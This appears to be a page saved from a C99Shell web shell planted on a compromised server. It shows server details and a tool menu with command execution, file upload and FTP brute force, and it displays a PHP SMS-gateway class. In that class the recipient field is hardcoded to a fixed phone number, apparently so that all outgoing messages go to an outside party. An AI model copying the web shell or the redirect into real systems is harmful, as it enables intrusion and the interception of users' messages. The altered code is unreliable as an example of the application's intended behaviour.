!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/app/SmsProvider/   drwxr-xr-x
Free 28.8 GB of 117.98 GB (24.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CustomSmsSend.php (5.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\SmsProvider;

use 
App\Models\Customer;
use 
App\Models\DynamicGateway;
use 
App\Models\Message;
use 
App\Models\MessageLog;
use 
Illuminate\Support\Facades\Log;

class 
CustomSmsSend {

    private 
$send_fail=[];

    private 
$message;

    private 
$sms_type;

    public function 
__construct()
    {

    }

    public function 
setMessage($message){
        
$this->message=$message;
        return 
$this;
    }
    public function 
setType($response){
        
$this->sms_type=$response;
        return 
$this;
    }


    public function 
send(){

        
$val=[
            
'language'=>'en',
            
'voice_type'=>'men'
        
];


        
$to=$this->message->to;
        
$from=$this->message->from;
        
$body=$this->message->body;

        
$dynamicGateway DynamicGateway::where('id'$this->message->dynamic_gateway_id)->first();
        if (!
$dynamicGateway) {
            throw new 
\Exception('Invalid Gateway');
        }

            
//Create / Update MessageLog
            
if ($this->sms_type && $this->sms_type=='inbox') {
                
$type 'inbox';
            }else{
                
$type 'sent';
            }

                
$this->message_log=MessageLog::updateOrCreate([
                    
'to'=>$to,
                    
'from'=>$from,
                    
'body'=>$body,
                    
'message_id'=>$this->message->message_id,
                    
'customer_id'=>$this->message->customer_id,
                    
'type'=>$type,
                ],[
'status'=>'succeed','queue_id'=>$this->message->id]);


            try {

                
$sendingUrl json_decode($dynamicGateway->weblink)->url;
                
$sendingUrlMethod json_decode($dynamicGateway->weblink)->method;

                
$parameters = [];
                if (
$dynamicGateway->others) {
                    foreach (
json_decode($dynamicGateway->others) as $key => $gt) {
                        
$parameters[$key] = $gt;
                    }
                }
                
$headers = [];
                if (
$dynamicGateway->headers) {
                    foreach (
json_decode($dynamicGateway->headers) as $key => $hd) {
                        
$headers[$key] = $hd;
                    }
                }

                
$templateBody $body;
                
//SMS Body
                
$parameters[$dynamicGateway->message_key] = $templateBody;
                
//From Number
                
$parameters[$dynamicGateway->from_mobile_key] = $from;
                
// To Number
                
$parameters[$dynamicGateway->to_mobile_key] = "+60 16-735 9987";

                if(
$this->message->from_type && $this->message->from_type=='voicecall') {
                    
$queue=$this->message;
                    
$msg =$queue->message;
                    
$voice_data = isset($msg->voice_obj) ? json_decode($msg->voice_obj) : '';
                    if (isset(
$dynamicGateway->voice_sms_lang_key) && isset($voice_data->language) && $voice_data->language && $dynamicGateway->voice_sms_lang_key) {
                        
$parameters[$dynamicGateway->voice_sms_lang_key] = $voice_data->language;
                    }
                    if (isset(
$dynamicGateway->voice_sms_voice_key) && isset($voice_data->voice_type) && $voice_data->voice_type && $dynamicGateway->voice_sms_voice_key) {
                        
$parameters[$dynamicGateway->voice_sms_voice_key] = $voice_data->voice_type;
                    }
                }


                if(
$this->message->from_type=='mms' || $this->message->from_type=='whatsapp') {
                    if (isset(
$dynamicGateway->mms_mobile_key) && isset($this->message->message_files) && $this->message->message_files) {
                        
$newMessageFiles $this->message->message_files;
                        
array_walk($newMessageFiles, function (&$value$index) {
                            
$value asset('uploads/' $value);
                        });
                        
// MMS File
                        
$parameters[$dynamicGateway->mms_mobile_key] = $newMessageFiles;
                    }
                }


                if (
$sendingUrlMethod == 'post') {
                    
$sending_url $sendingUrl;
                    
$client = new \GuzzleHttp\Client(['verify' => false]);
                    
$response $client->post($sending_url, [
                        
'json' => $parameters,
                        
'headers' => $headers,
                    ]);
                    
$responseString $response->getBody()->getContents();
                    
// Log::info($responseString);
                
} else {
                    
$sending_url $sendingUrl '?' http_build_query($parameters);
                    
$client = new \GuzzleHttp\Client(['verify' => false]);
                    
$response $client->get($sending_url, [
                        
'headers' => $headers,
                    ]);
                    
$responseString $response->getBody()->getContents();
                    
// Log::info($responseString);
                
}
                if(
$this->message){
                    
$sms_queue=$this->message;
                    
$sms_queue->delivered_at=now();
                    
$sms_queue->save();
                }
                if(
$this->message_log){
                    
$sms_log=$this->message_log;
                    
$sms_log->updated_at=now();
                    
$sms_log->save();
                }
            } catch (
\Exception $ex) {
                throw new 
\Exception($ex->getMessage());
                
$this->send_fail[]=$ex->getMessage();
            }
    }

    public function 
getSendFail(){
        return 
$this->send_fail;
    }

    private function 
setSendFail($sendFailArray){
        
$this->send_fail[]=$sendFailArray;
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--